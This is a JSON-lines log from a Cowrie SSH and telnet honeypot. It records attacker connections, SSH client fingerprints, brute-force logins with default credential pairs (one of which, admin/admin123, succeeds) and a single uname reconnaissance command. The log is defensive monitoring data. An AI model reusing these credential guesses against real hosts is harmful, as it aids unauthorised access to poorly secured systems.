{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:14.035992Z","src_ip":"176.65.132.129","session":"4afb91643cad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:14.119864Z","src_ip":"176.65.132.129","session":"4afb91643cad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amrita","password":"amrita","message":"login attempt [amrita/amrita] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:14.370215Z","src_ip":"176.65.132.129","session":"4afb91643cad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:15.477278Z","src_ip":"176.65.132.129","session":"4afb91643cad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":55272,"dst_ip":"10.17.0.5","dst_port":22,"session":"f72227dfb188","protocol":"ssh","message":"New connection: 186.13.24.118:55272 (10.17.0.5:22) [session: f72227dfb188]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:17.302040Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":54740,"dst_ip":"159.203.135.109","dst_port":22,"session":"80518875a062","protocol":"ssh","message":"New connection: 176.65.132.129:54740 (159.203.135.109:22) [session: 80518875a062]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:17.308887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:17.314834Z","src_ip":"186.13.24.118","session":"f72227dfb188","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:17.322242Z","src_ip":"176.65.132.129","session":"80518875a062","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:17.405400Z","src_ip":"176.65.132.129","session":"80518875a062","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:17.483922Z","src_ip":"186.13.24.118","session":"f72227dfb188","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin123","message":"login attempt [admin/admin123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:17.654171Z","src_ip":"176.65.132.129","session":"80518875a062","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:18.049023Z","src_ip":"176.65.132.129","session":"80518875a062","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:18.053453Z","src_ip":"176.65.132.129","session":"80518875a062","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:18.141103Z","src_ip":"176.65.132.129","session":"80518875a062","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:18.148627Z","src_ip":"176.65.132.129","session":"80518875a062","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.56985282897949,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:18.218997Z","src_ip":"152.42.224.71","session":"fa426dcc1710","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"radio","message":"login attempt [root/radio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:18.235734Z","src_ip":"186.13.24.118","session":"f72227dfb188","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:19.407956Z","src_ip":"186.13.24.118","session":"f72227dfb188","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":49364,"dst_ip":"159.203.135.109","dst_port":22,"session":"53e57fbf36ea","protocol":"ssh","message":"New connection: 103.183.114.55:49364 (159.203.135.109:22) [session: 53e57fbf36ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:19.727949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:19.734376Z","src_ip":"103.183.114.55","session":"53e57fbf36ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:19.966573Z","src_ip":"103.183.114.55","session":"53e57fbf36ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123890","message":"login attempt [root/123890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:20.659983Z","src_ip":"103.183.114.55","session":"53e57fbf36ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":54754,"dst_ip":"159.203.135.109","dst_port":22,"session":"374da7c5d1ec","protocol":"ssh","message":"New connection: 176.65.132.129:54754 (159.203.135.109:22) [session: 374da7c5d1ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:20.742128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:20.748321Z","src_ip":"176.65.132.129","session":"374da7c5d1ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:20.831205Z","src_ip":"176.65.132.129","session":"374da7c5d1ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123","message":"login attempt [root/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:21.087646Z","src_ip":"176.65.132.129","session":"374da7c5d1ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:21.894510Z","src_ip":"103.183.114.55","session":"53e57fbf36ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:22.172993Z","src_ip":"176.65.132.129","session":"374da7c5d1ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":54764,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca9fae2278ef","protocol":"ssh","message":"New connection: 176.65.132.129:54764 (159.203.135.109:22) [session: ca9fae2278ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:24.025806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:24.030848Z","src_ip":"176.65.132.129","session":"ca9fae2278ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:24.118581Z","src_ip":"176.65.132.129","session":"ca9fae2278ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"git123","message":"login attempt [git/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:24.373792Z","src_ip":"176.65.132.129","session":"ca9fae2278ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44336,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf0c101468b5","protocol":"telnet","message":"New connection: 152.42.224.71:44336 (10.17.0.5:23) [session: cf0c101468b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:25.394187Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:25.510549Z","src_ip":"176.65.132.129","session":"ca9fae2278ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37778,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac29659cf55a","protocol":"ssh","message":"New connection: 176.65.132.129:37778 (159.203.135.109:22) [session: ac29659cf55a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:27.329220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:27.334705Z","src_ip":"176.65.132.129","session":"ac29659cf55a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:27.421750Z","src_ip":"176.65.132.129","session":"ac29659cf55a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"redis","password":"redis","message":"login attempt [redis/redis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:27.826590Z","src_ip":"176.65.132.129","session":"ac29659cf55a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:28.913631Z","src_ip":"176.65.132.129","session":"ac29659cf55a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57236,"dst_ip":"10.17.0.5","dst_port":23,"session":"8792192bf96e","protocol":"telnet","message":"New connection: 152.42.224.71:57236 (10.17.0.5:23) [session: 8792192bf96e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:28.950081Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57244,"dst_ip":"10.17.0.5","dst_port":23,"session":"202ac81e117c","protocol":"telnet","message":"New connection: 152.42.224.71:57244 (10.17.0.5:23) [session: 202ac81e117c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:30.128232Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37788,"dst_ip":"159.203.135.109","dst_port":22,"session":"34d8ee76c68e","protocol":"ssh","message":"New connection: 176.65.132.129:37788 (159.203.135.109:22) [session: 34d8ee76c68e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:30.772127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:30.777512Z","src_ip":"176.65.132.129","session":"34d8ee76c68e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:50:30.860036Z","src_ip":"176.65.132.129","session":"34d8ee76c68e","protocol":"ssh"}
